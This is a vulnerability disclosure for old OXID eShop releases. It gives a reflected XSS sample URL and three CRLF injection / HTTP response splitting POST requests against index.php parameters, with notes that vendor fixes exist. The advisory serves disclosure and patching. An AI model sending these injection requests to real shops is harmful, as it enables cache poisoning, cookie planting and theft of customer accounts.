OXID eShop < 4.7.11/5.0.11 / < 4.8.4/5.1.4 - Multiple Vulnerabilities

# Exploit Title: OXID eShop v<4.7.11/5.0.11 + v<4.8.4/5.1.4 Multiple Vulnerabilities 

# Google Dork: -

# Date: 12/2013

# Exploit Author: //sToRm 

# Author mail: storm@sicherheit-online.org

# Vendor Homepage: http://www.oxid-esales.com

# Software Link: -

# Version: All versions < 4.7.11/5.0.11 + All versions < 4.8.4/5.1.4

# Tested on: Multiple platforms

# CVE : CVE-2014-2016 + CVE-2014-2017 (reserved)





###########################################################################################################

# XSS vulnerability #######################################################################################



Under certain circumstances, an attacker can trick a user to enter a specially crafted 

URI or click on a mal-formed link to exploit a cross-site scripting vulnerability that 

theoretically can be used to gain unauthorized access to a user account or collect 

sensitive information of this user. 



SAMPLE: -------------------------------------------------------------------------------

http://HOST/tag/sample/sample-name.html?cur=2&listtype=tag&pgNr=2&searchtag=[XSS]

---------------------------------------------------------------------------------------



Products:



    OXID eShop Enterprise Edition

    OXID eShop Professional Edition

    OXID eShop Community Edition 



Releases: All previous releases 

Platforms: All releases are affected on all platforms. 

	

STATE

- Resolved in OXID eShop version 4.7.11/5.0.11. and OXID eShop version 4.8.4/5.1.4.

- A fix for OXID eShop version 4.6.8 is available.



Bulletin: http://wiki.oxidforge.org/Security_bulletins/2014-001



###########################################################################################################

###########################################################################################################











########################################################################################################### 

# Multiple CRLF injection / HTTP response splitting #######################################################



Under certain circumstances (depending on the browser, OS, PHP-Version), an attacker can trick a user to 

enter a specially crafted URI or click on a mal-formed link to exploit a HTTP response splitting vulnerability

that theoretically can be used to poison cache, gain unauthorized access to a user account or collect 

sensitive information of this user.



A possible exploit by passing such a mal-formed URI could lead to:

- return of a blank page or a PHP error (depending on one's server configuration)

- set unsolicited browser cookies 



Products:



    OXID eShop Enterprise Edition

    OXID eShop Professional Edition

    OXID eShop Community Edition 



Releases: All previous releases 

Platforms: All releases are affected on all platforms. 



STATE:

- Resolved in OXID eShop version 4.7.11/5.0.11. and OXID eShop version 4.8.4/5.1.4.

- A fix for OXID eShop version 4.6.8 is available. 

	

Bulletin: http://wiki.oxidforge.org/Security_bulletins/2014-002





Vulnerability details:



########################################################################################################### 

# 1 # CRLF injection / HTTP response splitting ############################################################



PATH: ROOT/index.php

PARAMETER: anid



CONCEPT: --------------------------------------------------------------------------------------------------

actcontrol=start

&aid=1

&am=1

&anid=%0d%0a%20[INJECT:INJECT]

&cl=start

&fnc=tobasket

&lang=0

&pgNr=0

&stoken=1

-----------------------------------------------------------------------------------------------------------



SAMPLE:

--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------

actcontrol=start&aid=1&am=1&anid=%0d%0a%20INJECTED:INJECTED_DATA&cl=start&fnc=tobasket&lang=0&pgNr=0&stoken=1

-----------------------------------------------------------------------------------------------------------

###########################################################################################################

###########################################################################################################











###########################################################################################################

# 2 # CRLF injection / HTTP response splitting ############################################################



PATH: ROOT/index.php

PARAMETER: cnid



CONCEPT: --------------------------------------------------------------------------------------------------

actcontrol=details

&aid=1

&am=1

&anid=0

&cl=details

&cnid=%0d%0a%20[INJECTED:INJECTED]

&fnc=tobasket

&lang=0

&listtype=list

&panid=

&parentid=1

&stoken=1

&varselid%5b0%5d=

-----------------------------------------------------------------------------------------------------------



SAMPLE:

--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------

actcontrol=details&aid=1&am=1&anid=0&cl=details&cnid=%0d%0a%20INJECTED:INJECTED_DATA&fnc=tobasket&lang=0&listtype=list&panid=&parentid=1&stoken=1&varselid%5b0%5d=

-----------------------------------------------------------------------------------------------------------

###########################################################################################################

###########################################################################################################











###########################################################################################################

# 3 # CRLF injection / HTTP response splitting ############################################################



PATH: ROOT/index.php

PARAMETER: listtype



CONCEPT: --------------------------------------------------------------------------------------------------

actcontrol=details

&aid=1

&am=1

&anid=0

&cl=details

&cnid=0

&fnc=tobasket

&lang=0

&listtype=%0d%0a%20[INJECTED:INJECTED]

&panid=

&parentid=0

&stoken=0

&varselid%5b0%5d=

-----------------------------------------------------------------------------------------------------------



SAMPLE:

--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------

actcontrol=details&aid=1&am=1&anid=0&cl=details&cnid=0&fnc=tobasket&lang=0&listtype=%0d%0a%20INJECTED:INJECTED_DATA&panid=&parentid=0&stoken=0&varselid%5b0%5d=

-----------------------------------------------------------------------------------------------------------

###########################################################################################################

###########################################################################################################







Many greetings to all lunatics and freaks out there who live daily in the code like me and my partners. 

A thanks to the developers who have responded relatively quickly.



Cheers!

//sToRm